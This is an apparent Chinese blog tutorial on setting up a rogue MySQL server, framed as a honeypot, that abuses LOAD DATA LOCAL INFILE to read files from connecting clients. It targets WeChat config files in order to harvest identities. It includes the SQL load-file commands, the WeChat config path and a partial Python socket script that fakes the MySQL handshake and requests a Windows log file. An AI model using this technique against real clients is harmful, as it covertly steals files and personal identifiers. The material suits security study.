本文介绍如何搭建一个MySQL蜜罐,通过模拟攻击者的登录尝试,获取其相关信息。请注意,这仅供学习和研究之用,我们坚决反对任何危害网络安全的行为。
实验环境设置:
首先,在我们的实验环境中,创建一个远程可登录的数据库。
攻击过程分析:
思路:当攻击者尝试通过暴力破解等手段登录数据库时,我们可以收集到攻击者的相关信息,如微信ID、手机号码等。
信息验证:
- 微信ID:可在微信文件路径WeChat Files/All Users/config/config.data中找到。
- 截取网络包:使用WireShark抓包,选择对应网卡并指定3306端口。
文件读取过程:
接下来,我们通过模拟MySQL命令读取本地MySQL服务器中的文件。这可以通过加载数据表的方式进行。
use dabiaoge; # 进入数据库
create table student(id varchar(8)); # 创建一个student表
load data local infile “D:/1.txt” into table student; # 将文件内容读取,并写入数据库
网络请求分析:
在Linux环境中,我们使用LOAD DATA LOCAL命令来读取MYSQL客户端的文件,
然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
Python脚本参考:
以下是一个Python脚本示例,通过socket模块模拟MySQL认证的流程,实现获取对方信息的目的。
省略了一部分代码
def get_data(filename, client, addr):
# 省略了一部分代码
while True:
client, addr = server.accept()
# 省略了一部分代码
version_text = b”…” # 版本信息
client.sendall(version_text)
try:
client.recv(9999)
except Exception as e:
print(e)
verification = b”\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00″
client.sendall(verification)
try:
client.recv(9999)
except Exception as e:
print(e)
filename = “C:\Windows\PFRO.log”
get_data(filename, client, addr)
client.close()
当目标进行登录时,我们能够获得其信息。
注意事项:
由于环境等问题,高版本MySQL可能无法复现此过程,需要根据实际情况修改配置文件。
暂无评论内容